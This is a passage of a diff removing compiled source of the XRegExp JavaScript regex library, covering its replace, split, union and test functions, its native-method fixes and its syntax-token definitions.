isNaN(item.backref); - - if (isNamedBackref && XRegExp.isInstalled('namespacing')) { - // `groups` has `null` as prototype, so using `in` instead of `hasOwnProperty` - if (!(match.groups && item.backref in match.groups)) { - throw new ReferenceError(ERR_UNDEFINED_GROUP); - } - } else if (!match.hasOwnProperty(item.backref)) { - throw new ReferenceError(ERR_UNDEFINED_GROUP); - } - - var backrefValue = isNamedBackref && XRegExp.isInstalled('namespacing') ? match.groups[item.backref] : match[item.backref]; - matches.push(backrefValue || ''); - } else { - matches.push(match[0]); - } - } - - var _iterator3 = _createForOfIteratorHelper(values), - _step3; - - try { - for (_iterator3.s(); !(_step3 = _iterator3.n()).done;) { - var value = _step3.value; - (0, _forEach["default"])(XRegExp).call(XRegExp, value, item.regex, addMatch); - } - } catch (err) { - _iterator3.e(err); - } finally { - _iterator3.f(); - } - - return level === chain.length - 1 || !matches.length ? matches : recurseChain(matches, level + 1); - }([str], 0); -}; -/** - * Returns a new string with one or all matches of a pattern replaced. The pattern can be a string - * or regex, and the replacement can be a string or a function to be called for each match. To - * perform a global search and replace, use the optional `scope` argument or include flag g if using - * a regex. Replacement strings can use `$<n>` or `${n}` for named and numbered backreferences. - * Replacement functions can use named backreferences via the last argument. Also fixes browser bugs - * compared to the native `String.prototype.replace` and can be used reliably cross-browser. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {RegExp|String} search Search pattern to be replaced. - * @param {String|Function} replacement Replacement string or a function invoked to create it. - * Replacement strings can include special replacement syntax: - * - $$ - Inserts a literal $ character. - * - $&, $0 - Inserts the matched substring. - * - $` - Inserts the string that precedes the matched substring (left context). - * - $' - Inserts the string that follows the matched substring (right context). - * - $n, $nn - Where n/nn are digits referencing an existing capturing group, inserts - * backreference n/nn. - * - $<n>, ${n} - Where n is a name or any number of digits that reference an existing capturing - * group, inserts backreference n. - * Replacement functions are invoked with three or more arguments: - * - args[0] - The matched substring (corresponds to `$&` above). If the `namespacing` feature - * is off, named backreferences are accessible as properties of this argument. - * - args[1..n] - One argument for each backreference (corresponding to `$1`, `$2`, etc. above). - * If the regex has no capturing groups, no arguments appear in this position. - * - args[n+1] - The zero-based index of the match within the entire search string. - * - args[n+2] - The total string being searched. - * - args[n+3] - If the the search pattern is a regex with named capturing groups, the last - * argument is the groups object. Its keys are the backreference names and its values are the - * backreference values. If the `namespacing` feature is off, this argument is not present. - * @param {String} [scope] Use 'one' to replace the first match only, or 'all'. Defaults to 'one'. - * Defaults to 'all' if using a regex with flag g. - * @returns {String} New string with one or all matches replaced. - * @example - * - * // Regex search, using named backreferences in replacement string - * const name = XRegExp('(?<first>\\w+) (?<last>\\w+)'); - * XRegExp.replace('John Smith', name, '$<last>, $<first>'); - * // -> 'Smith, John' - * - * // Regex search, using named backreferences in replacement function - * XRegExp.replace('John Smith', name, (...args) => { - * const groups = args[args.length - 1]; - * return `${groups.last}, ${groups.first}`; - * }); - * // -> 'Smith, John' - * - * // String search, with replace-all - * XRegExp.replace('RegExp builds RegExps', 'RegExp', 'XRegExp', 'all'); - * // -> 'XRegExp builds XRegExps' - */ - - -XRegExp.replace = function (str, search, replacement, scope) { - var isRegex = XRegExp.isRegExp(search); - var global = search.global && scope !== 'one' || scope === 'all'; - var cacheKey = (global ? 'g' : '') + (search.sticky ? 'y' : '') || 'noGY'; - var s2 = search; - - if (isRegex) { - search[REGEX_DATA] = search[REGEX_DATA] || {}; // Shares cached copies with `XRegExp.exec`/`match`. Since a copy is used, `search`'s - // `lastIndex` isn't updated *during* replacement iterations - - s2 = search[REGEX_DATA][cacheKey] || (search[REGEX_DATA][cacheKey] = copyRegex(search, { - addG: !!global, - removeG: scope === 'one', - isInternalOnly: true - })); - } else if (global) { - s2 = new RegExp(XRegExp.escape(String(search)), 'g'); - } // Fixed `replace` required for named backreferences, etc. - - - var result = fixed.replace.call(nullThrows(str), s2, replacement); - - if (isRegex && search.global) { - // Fixes IE, Safari bug (last tested IE 9, Safari 5.1) - search.lastIndex = 0; - } - - return result; -}; -/** - * Performs batch processing of string replacements. Used like `XRegExp.replace`, but accepts an - * array of replacement details. Later replacements operate on the output of earlier replacements. - * Replacement details are accepted as an array with a regex or string to search for, the - * replacement string or function, and an optional scope of 'one' or 'all'. Uses the XRegExp - * replacement text syntax, which supports named backreference properties via `$<name>` or - * `${name}`. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {Array} replacements Array of replacement detail arrays. - * @returns {String} New string with all replacements. - * @example - * - * str = XRegExp.replaceEach(str, [ - * [XRegExp('(?<name>a)'), 'z$<name>'], - * [/b/gi, 'y'], - * [/c/g, 'x', 'one'], // scope 'one' overrides /g - * [/d/, 'w', 'all'], // scope 'all' overrides lack of /g - * ['e', 'v', 'all'], // scope 'all' allows replace-all for strings - * [/f/g, (match) => match.toUpperCase()] - * ]); - */ - - -XRegExp.replaceEach = function (str, replacements) { - var _iterator4 = _createForOfIteratorHelper(replacements), - _step4; - - try { - for (_iterator4.s(); !(_step4 = _iterator4.n()).done;) { - var r = _step4.value; - str = XRegExp.replace(str, r[0], r[1], r[2]); - } - } catch (err) { - _iterator4.e(err); - } finally { - _iterator4.f(); - } - - return str; -}; -/** - * Splits a string into an array of strings using a regex or string separator. Matches of the - * separator are not included in the result array. However, if `separator` is a regex that contains - * capturing groups, backreferences are spliced into the result each time `separator` is matched. - * Fixes browser bugs compared to the native `String.prototype.split` and can be used reliably - * cross-browser. - * - * @memberOf XRegExp - * @param {String} str String to split. - * @param {RegExp|String} separator Regex or string to use for separating the string. - * @param {Number} [limit] Maximum number of items to include in the result array. - * @returns {Array} Array of substrings. - * @example - * - * // Basic use - * XRegExp.split('a b c', ' '); - * // -> ['a', 'b', 'c'] - * - * // With limit - * XRegExp.split('a b c', ' ', 2); - * // -> ['a', 'b'] - * - * // Backreferences in result array - * XRegExp.split('..word1..', /([a-z]+)(\d+)/i); - * // -> ['..', 'word', '1', '..'] - */ - - -XRegExp.split = function (str, separator, limit) { - return fixed.split.call(nullThrows(str), separator, limit); -}; -/** - * Executes a regex search in a specified string. Returns `true` or `false`. Optional `pos` and - * `sticky` arguments specify the search start position, and whether the match must start at the - * specified position only. The `lastIndex` property of the provided regex is not used, but is - * updated for compatibility. Also fixes browser bugs compared to the native - * `RegExp.prototype.test` and can be used reliably cross-browser. - * - * @memberOf XRegExp - * @param {String} str String to search. - * @param {RegExp} regex Regex to search with. - * @param {Number} [pos=0] Zero-based index at which to start the search. - * @param {Boolean|String} [sticky=false] Whether the match must start at the specified position - * only. The string `'sticky'` is accepted as an alternative to `true`. - * @returns {boolean} Whether the regex matched the provided value. - * @example - * - * // Basic use - * XRegExp.test('abc', /c/); // -> true - * - * // With pos and sticky - * XRegExp.test('abc', /c/, 0, 'sticky'); // -> false - * XRegExp.test('abc', /c/, 2, 'sticky'); // -> true - */ -// Do this the easy way :-) - - -XRegExp.test = function (str, regex, pos, sticky) { - return !!XRegExp.exec(str, regex, pos, sticky); -}; -/** - * Uninstalls optional features according to the specified options. Used to undo the actions of - * `XRegExp.install`. - * - * @memberOf XRegExp - * @param {Object|String} options Options object or string. - * @example - * - * // With an options object - * XRegExp.uninstall({ - * // Disables support for astral code points in Unicode addons (unless enabled per regex) - * astral: true, - * - * // Don't add named capture groups to the `groups` property of matches - * namespacing: true - * }); - * - * // With an options string - * XRegExp.uninstall('astral namespacing'); - */ - - -XRegExp.uninstall = function (options) { - options = prepareOptions(options); - - if (features.astral && options.astral) { - setAstral(false); - } - - if (features.namespacing && options.namespacing) { - setNamespacing(false); - } -}; -/** - * Returns an XRegExp object that is the union of the given patterns. Patterns can be provided as - * regex objects or strings. Metacharacters are escaped in patterns provided as strings. - * Backreferences in provided regex objects are automatically renumbered to work correctly within - * the larger combined pattern. Native flags used by provided regexes are ignored in favor of the - * `flags` argument. - * - * @memberOf XRegExp - * @param {Array} patterns Regexes and strings to combine. - * @param {String} [flags] Any combination of XRegExp flags. - * @param {Object} [options] Options object with optional properties: - * - `conjunction` {String} Type of conjunction to use: 'or' (default) or 'none'. - * @returns {RegExp} Union of the provided regexes and strings. - * @example - * - * XRegExp.union(['a+b*c', /(dogs)\1/, /(cats)\1/], 'i'); - * // -> /a\+b\*c|(dogs)\1|(cats)\2/i - * - * XRegExp.union([/man/, /bear/, /pig/], 'i', {conjunction: 'none'}); - * // -> /manbearpig/i - */ - - -XRegExp.union = function (patterns, flags, options) { - options = options || {}; - var conjunction = options.conjunction || 'or'; - var numCaptures = 0; - var numPriorCaptures; - var captureNames; - - function rewrite(match, paren, backref) { - var name = captureNames[numCaptures - numPriorCaptures]; // Capturing group - - if (paren) { - ++numCaptures; // If the current capture has a name, preserve the name - - if (name) { - return "(?<".concat(name, ">"); - } // Backreference - - } else if (backref) { - // Rewrite the backreference - return "\\".concat(+backref + numPriorCaptures); - } - - return match; - } - - if (!(isType(patterns, 'Array') && patterns.length)) { - throw new TypeError('Must provide a nonempty array of patterns to merge'); - } - - var parts = /(\()(?!\?)|\\([1-9]\d*)|\\[\s\S]|\[(?:[^\\\]]|\\[\s\S])*\]/g; - var output = []; - - var _iterator5 = _createForOfIteratorHelper(patterns), - _step5; - - try { - for (_iterator5.s(); !(_step5 = _iterator5.n()).done;) { - var pattern = _step5.value; - - if (XRegExp.isRegExp(pattern)) { - numPriorCaptures = numCaptures; - captureNames = pattern[REGEX_DATA] && pattern[REGEX_DATA].captureNames || []; // Rewrite backreferences. Passing to XRegExp dies on octals and ensures patterns are - // independently valid; helps keep this simple. Named captures are put back - - output.push(XRegExp(pattern.source).source.replace(parts, rewrite)); - } else { - output.push(XRegExp.escape(pattern)); - } - } - } catch (err) { - _iterator5.e(err); - } finally { - _iterator5.f(); - } - - var separator = conjunction === 'none' ? '' : '|'; - return XRegExp(output.join(separator), flags); -}; // ==--------------------------== -// Fixed/extended native methods -// ==--------------------------== - -/** - * Adds named capture support (with backreferences returned as `result.name`), and fixes browser - * bugs in the native `RegExp.prototype.exec`. Use via `XRegExp.exec`. - * - * @memberOf RegExp - * @param {String} str String to search. - * @returns {Array} Match array with named backreference properties, or `null`. - */ - - -fixed.exec = function (str) { - var origLastIndex = this.lastIndex; - var match = RegExp.prototype.exec.apply(this, arguments); - - if (match) { - // Fix browsers whose `exec` methods don't return `undefined` for nonparticipating capturing - // groups. This fixes IE 5.5-8, but not IE 9's quirks mode or emulation of older IEs. IE 9 - // in standards mode follows the spec. - if (!correctExecNpcg && match.length > 1 && (0, _indexOf["default"])(match).call(match, '') !== -1) { - var _context3; - - var r2 = copyRegex(this, { - removeG: true, - isInternalOnly: true - }); // Using `str.slice(match.index)` rather than `match[0]` in case lookahead allowed - // matching due to characters outside the match - - (0, _slice["default"])(_context3 = String(str)).call(_context3, match.index).replace(r2, function () { - var len = arguments.length; // Skip index 0 and the last 2 - - for (var i = 1; i < len - 2; ++i) { - if ((i < 0 || arguments.length <= i ? undefined : arguments[i]) === undefined) { - match[i] = undefined; - } - } - }); - } // Attach named capture properties - - - if (this[REGEX_DATA] && this[REGEX_DATA].captureNames) { - var groupsObject = match; - - if (XRegExp.isInstalled('namespacing')) { - // https://tc39.github.io/proposal-regexp-named-groups/#sec-regexpbuiltinexec - match.groups = (0, _create["default"])(null); - groupsObject = match.groups; - } // Skip index 0 - - - for (var i = 1; i < match.length; ++i) { - var name = this[REGEX_DATA].captureNames[i - 1]; - - if (name) { - groupsObject[name] = match[i]; - } - } // Preserve any existing `groups` obj that came from native ES2018 named capture - - } else if (!match.groups && XRegExp.isInstalled('namespacing')) { - match.groups = undefined; - } // Fix browsers that increment `lastIndex` after zero-length matches - - - if (this.global && !match[0].length && this.lastIndex > match.index) { - this.lastIndex = match.index; - } - } - - if (!this.global) { - // Fixes IE, Opera bug (last tested IE 9, Opera 11.6) - this.lastIndex = origLastIndex; - } - - return match; -}; -/** - * Fixes browser bugs in the native `RegExp.prototype.test`. - * - * @memberOf RegExp - * @param {String} str String to search. - * @returns {boolean} Whether the regex matched the provided value. - */ - - -fixed.test = function (str) { - // Do this the easy way :-) - return !!fixed.exec.call(this, str); -}; -/** - * Adds named capture support (with backreferences returned as `result.name`), and fixes browser - * bugs in the native `String.prototype.match`. - * - * @memberOf String - * @param {RegExp|*} regex Regex to search with. If not a regex object, it is passed to `RegExp`. - * @returns {Array} If `regex` uses flag g, an array of match strings or `null`. Without flag g, - * the result of calling `regex.exec(this)`. - */ - - -fixed.match = function (regex) { - if (!XRegExp.isRegExp(regex)) { - // Use the native `RegExp` rather than `XRegExp` - regex = new RegExp(regex); - } else if (regex.global) { - var result = String.prototype.match.apply(this, arguments); // Fixes IE bug - - regex.lastIndex = 0; - return result; - } - - return fixed.exec.call(regex, nullThrows(this)); -}; -/** - * Adds support for `${n}` (or `$<n>`) tokens for named and numbered backreferences in replacement - * text, and provides named backreferences to replacement functions as `arguments[0].name`. Also - * fixes browser bugs in replacement text syntax when performing a replacement using a nonregex - * search value, and the value of a replacement regex's `lastIndex` property during replacement - * iterations and upon completion. Note that this doesn't support SpiderMonkey's proprietary third - * (`flags`) argument. Use via `XRegExp.replace`. - * - * @memberOf String - * @param {RegExp|String} search Search pattern to be replaced. - * @param {String|Function} replacement Replacement string or a function invoked to create it. - * @returns {string} New string with one or all matches replaced. - */ - - -fixed.replace = function (search, replacement) { - var isRegex = XRegExp.isRegExp(search); - var origLastIndex; - var captureNames; - var result; - - if (isRegex) { - if (search[REGEX_DATA]) { - captureNames = search[REGEX_DATA].captureNames; - } // Only needed if `search` is nonglobal - - - origLastIndex = search.lastIndex; - } else { - search += ''; // Type-convert - } // Don't use `typeof`; some older browsers return 'function' for regex objects - - - if (isType(replacement, 'Function')) { - // Stringifying `this` fixes a bug in IE < 9 where the last argument in replacement - // functions isn't type-converted to a string - result = String(this).replace(search, function () { - for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { - args[_key] = arguments[_key]; - } - - if (captureNames) { - var groupsObject; - - if (XRegExp.isInstalled('namespacing')) { - // https://tc39.github.io/proposal-regexp-named-groups/#sec-regexpbuiltinexec - groupsObject = (0, _create["default"])(null); - args.push(groupsObject); - } else { - // Change the `args[0]` string primitive to a `String` object that can store - // properties. This really does need to use `String` as a constructor - args[0] = new String(args[0]); - groupsObject = args[0]; - } // Store named backreferences - - - for (var i = 0; i < captureNames.length; ++i) { - if (captureNames[i]) { - groupsObject[captureNames[i]] = args[i + 1]; - } - } - } // ES6 specs the context for replacement functions as `undefined` - - - return replacement.apply(void 0, args); - }); - } else { - // Ensure that the last value of `args` will be a string when given nonstring `this`, - // while still throwing on null or undefined context - result = String(nullThrows(this)).replace(search, function () { - for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { - args[_key2] = arguments[_key2]; - } - - return String(replacement).replace(replacementToken, replacer); - - function replacer($0, bracketed, angled, dollarToken) { - bracketed = bracketed || angled; // ES2018 added a new trailing `groups` arg that's passed to replacement functions - // when the search regex uses native named capture - - var numNonCaptureArgs = isType(args[args.length - 1], 'Object') ? 4 : 3; - var numCaptures = args.length - numNonCaptureArgs; // Handle named or numbered backreference with curly or angled braces: ${n}, $<n> - - if (bracketed) { - // Handle backreference to numbered capture, if `bracketed` is an integer. Use - // `0` for the entire match. Any number of leading zeros may be used. - if (/^\d+$/.test(bracketed)) { - // Type-convert and drop leading zeros - var _n = +bracketed; - - if (_n <= numCaptures) { - return args[_n] || ''; - } - } // Handle backreference to named capture. If the name does not refer to an - // existing capturing group, it's an error. Also handles the error for numbered - // backference that does not refer to an existing group. - // Using `indexOf` since having groups with the same name is already an error, - // otherwise would need `lastIndexOf`. - - - var n = captureNames ? (0, _indexOf["default"])(captureNames).call(captureNames, bracketed) : -1; - - if (n < 0) { - throw new SyntaxError("Backreference to undefined group ".concat($0)); - } - - return args[n + 1] || ''; - } // Handle `$`-prefixed variable - // Handle space/blank first because type conversion with `+` drops space padding - // and converts spaces and empty strings to `0` - - - if (dollarToken === '' || dollarToken === ' ') { - throw new SyntaxError("Invalid token ".concat($0)); - } - - if (dollarToken === '&' || +dollarToken === 0) { - // $&, $0 (not followed by 1-9), $00 - return args[0]; - } - - if (dollarToken === '$') { - // $$ - return '$'; - } - - if (dollarToken === '`') { - var _context4; - - // $` (left context) - return (0, _slice["default"])(_context4 = args[args.length - 1]).call(_context4, 0, args[args.length - 2]); - } - - if (dollarToken === "'") { - var _context5; - - // $' (right context) - return (0, _slice["default"])(_context5 = args[args.length - 1]).call(_context5, args[args.length - 2] + args[0].length); - } // Handle numbered backreference without braces - // Type-convert and drop leading zero - - - dollarToken = +dollarToken; // XRegExp behavior for `$n` and `$nn`: - // - Backrefs end after 1 or 2 digits. Use `${..}` or `$<..>` for more digits. - // - `$1` is an error if no capturing groups. - // - `$10` is an error if less than 10 capturing groups. Use `${1}0` or `$<1>0` - // instead. - // - `$01` is `$1` if at least one capturing group, else it's an error. - // - `$0` (not followed by 1-9) and `$00` are the entire match. - // Native behavior, for comparison: - // - Backrefs end after 1 or 2 digits. Cannot reference capturing group 100+. - // - `$1` is a literal `$1` if no capturing groups. - // - `$10` is `$1` followed by a literal `0` if less than 10 capturing groups. - // - `$01` is `$1` if at least one capturing group, else it's a literal `$01`. - // - `$0` is a literal `$0`. - - if (!isNaN(dollarToken)) { - if (dollarToken > numCaptures) { - throw new SyntaxError("Backreference to undefined group ".concat($0)); - } - - return args[dollarToken] || ''; - } // `$` followed by an unsupported char is an error, unlike native JS - - - throw new SyntaxError("Invalid token ".concat($0)); - } - }); - } - - if (isRegex) { - if (search.global) { - // Fixes IE, Safari bug (last tested IE 9, Safari 5.1) - search.lastIndex = 0; - } else { - // Fixes IE, Opera bug (last tested IE 9, Opera 11.6) - search.lastIndex = origLastIndex; - } - } - - return result; -}; -/** - * Fixes browser bugs in the native `String.prototype.split`. Use via `XRegExp.split`. - * - * @memberOf String - * @param {RegExp|String} separator Regex or string to use for separating the string. - * @param {Number} [limit] Maximum number of items to include in the result array. - * @returns {!Array} Array of substrings. - */ - - -fixed.split = function (separator, limit) { - if (!XRegExp.isRegExp(separator)) { - // Browsers handle nonregex split correctly, so use the faster native method - return String.prototype.split.apply(this, arguments); - } - - var str = String(this); - var output = []; - var origLastIndex = separator.lastIndex; - var lastLastIndex = 0; - var lastLength; // Values for `limit`, per the spec: - // If undefined: pow(2,32) - 1 - // If 0, Infinity, or NaN: 0 - // If positive number: limit = floor(limit); if (limit >= pow(2,32)) limit -= pow(2,32); - // If negative number: pow(2,32) - floor(abs(limit)) - // If other: Type-convert, then use the above rules - // This line fails in very strange ways for some values of `limit` in Opera 10.5-10.63, unless - // Opera Dragonfly is open (go figure). It works in at least Opera 9.5-10.1 and 11+ - - limit = (limit === undefined ? -1 : limit) >>> 0; - (0, _forEach["default"])(XRegExp).call(XRegExp, str, separator, function (match) { - // This condition is not the same as `if (match[0].length)` - if (match.index + match[0].length > lastLastIndex) { - output.push((0, _slice["default"])(str).call(str, lastLastIndex, match.index)); - - if (match.length > 1 && match.index < str.length) { - Array.prototype.push.apply(output, (0, _slice["default"])(match).call(match, 1)); - } - - lastLength = match[0].length; - lastLastIndex = match.index + lastLength; - } - }); - - if (lastLastIndex === str.length) { - if (!separator.test('') || lastLength) { - output.push(''); - } - } else { - output.push((0, _slice["default"])(str).call(str, lastLastIndex)); - } - - separator.lastIndex = origLastIndex; - return output.length > limit ? (0, _slice["default"])(output).call(output, 0, limit) : output; -}; // ==--------------------------== -// Built-in syntax/flag tokens -// ==--------------------------== - -/* - * Letter escapes that natively match literal characters: `\a`, `\A`, etc. These should be - * SyntaxErrors but are allowed in web reality. XRegExp makes them errors for cross-browser - * consistency and to reserve their syntax, but lets them be superseded by addons. - */ - - -XRegExp.addToken(/\\([ABCE-RTUVXYZaeg-mopqyz]|c(?![A-Za-z])|u(?![\dA-Fa-f]{4}|{[\dA-Fa-f]+})|x(?![\dA-Fa-f]{2}))/, function (match, scope) { - // \B is allowed in default scope only - if (match[1] === 'B' && scope === defaultScope) { - return match[0]; - } - - throw new SyntaxError("Invalid escape ".concat(match[0])); -}, { - scope: 'all', - leadChar: '\\' -}); -/* - * Unicode code point escape with curly braces: `\u{N..}`. `N..` is any one or more digit - * hexadecimal number from 0-10FFFF, and can include leading zeros. Requires the native ES6 `u` flag - * to support code points greater than U+FFFF. Avoids converting code points above U+FFFF to - * surrogate pairs (which could be done without flag `u`), since that could lead to broken behavior - * if you follow a `\u{N..}` token that references a code point above U+FFFF with a quantifier, or - * if you use the same in a character class. - */ - -XRegExp.addToken(/\\u{([\dA-Fa-f]+)}/, function (match, scope, flags) { - var code = dec(match[1]); - - if (code > 0x10FFFF) { - throw new SyntaxError("Invalid Unicode code point ".concat(match[0])); - } - - if (code <= 0xFFFF) { - // Converting to \uNNNN avoids needing to escape the literal character and keep it - // separate from preceding tokens - return "\\u".concat(pad4(hex(code))); - } // If `code` is between 0xFFFF and 0x10FFFF, require and defer to native handling - - - if (hasNativeU && (0, _indexOf["default"])(flags).call(flags, 'u') !== -1) { - return match[0]; - } - - throw new SyntaxError('Cannot use Unicode code point above \\u{FFFF} without flag u'); -}, { - scope: 'all', - leadChar: '\\' -}); -/* - * Comment pattern: `(?# )`. Inline comments are an alternative to the line comments allowed in - * free-spacing mode (flag x). - */ - -XRegExp.addToken(/\(\?#[^)]*\)/, getContextualTokenSeparator, { - leadChar: '(' -}); -/* - * Whitespace and line comments, in free-spacing mode (aka extended mode, flag x) only. - */ - -XRegExp.addToken(/\s+|#[^\n]*\n?/, getContextualTokenSeparator, { - flag: 'x' -}); -/* - * Dot, in dotAll mode (aka singleline mode, flag s) only. - */ - -if (!hasNativeS) { - XRegExp.addToken(/\./, function () { - return '[\\s\\S]'; - }, { - flag: 's', - leadChar: '.' - }); -} -/* - * Named backreference: `\k<name>`. Backreference names can use RegExpIdentifierName characters - * only. Also allows numbered backreferences as `\k<n>`. - */ - - -XRegExp.addToken(/\\k<([^>]+)>/, function (match) { - var _context6, _context7; - - // Groups with the same name is an error, else would need `lastIndexOf` - var index = isNaN(match[1]) ? (0, _indexOf["default"])(_context6 = this.captureNames).call(_context6, match[1]) + 1 : +match[1]; - var endIndex = match.index + match[0].length; - - if (!index || index > this.captureNames.length) { - throw new SyntaxError("Backreference to undefined group ".concat(match[0])); - } // Keep backreferences separate from subsequent literal numbers. This avoids e.g. - // inadvertedly changing `(?<n>)\k<n>1` to `()\11`. - - - return (0, _concat["default"])(_context7 = "\\".concat(index)).call(_context7, endIndex === match.input.length || isNaN(match.input[endIndex]) ? '' : '(?:)'); -}, { - leadChar: '\\' -}); -/* - * Numbered backreference or octal, plus any following digits: `\0`, `\11`, etc. Octals except `\0` - * not followed by 0-9 and backreferences to unopened capture groups throw an error. Other matches - * are returned unaltered. IE < 9 doesn't support backreferences above `\99` in regex syntax. - */ - -XRegExp.addToken(/\\(\d+)/, function (match, scope) { - if (!(scope === defaultScope && /^[1-9]/.test(match[1]) && +match[1] <= this.captureNames.length) && match[1] !== '0') { - throw new SyntaxError("Cannot use octal escape or backreference to undefined group ".concat(match[0])); - } - - return match[0]; -}, { - scope: 'all', - leadChar: '\\' -}); -/* - * Named capturing group; match the opening delimiter only: `(?<name>`. Capture names can use the - * RegExpIdentifierName characters only. Names can't be integers. Supports Python-style - * `(?P<name>` as an alternate syntax to avoid issues in some older versions of Opera which natively - * supported the Python-style syntax. Otherwise, XRegExp might treat numbered backreferences to - * Python-style named capture as octals. - */ - -XRegExp.addToken(/\(\?P?<((?:[\$A-Z_a-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0560-\u0588\u05D0-\u05EA\u05EF-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u0860-\u086A\u0870-\u0887\u0889-\u088E\u08A0-\u08C9\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u09FC\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C5D\u0C60\u0C61\u0C80\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D04-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D54-\u0D56\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E86-\u0E8A\u0E8C-\u0EA3\u0EA5\u0EA7-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u1711\u171F-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1878\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4C\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1C80-\u1C88\u1C90-\u1CBA\u1CBD-\u1CBF\u1CE9-\u1CEC\u1CEE-\u1CF3\u1CF5\u1CF6\u1CFA\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312F\u3131-\u318E\u31A0-\u31BF\u31F0-\u31FF\u3400-\u4DBF\u4E00-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7CA\uA7D0\uA7D1\uA7D3\uA7D5-\uA7D9\uA7F2-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA8FE\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\u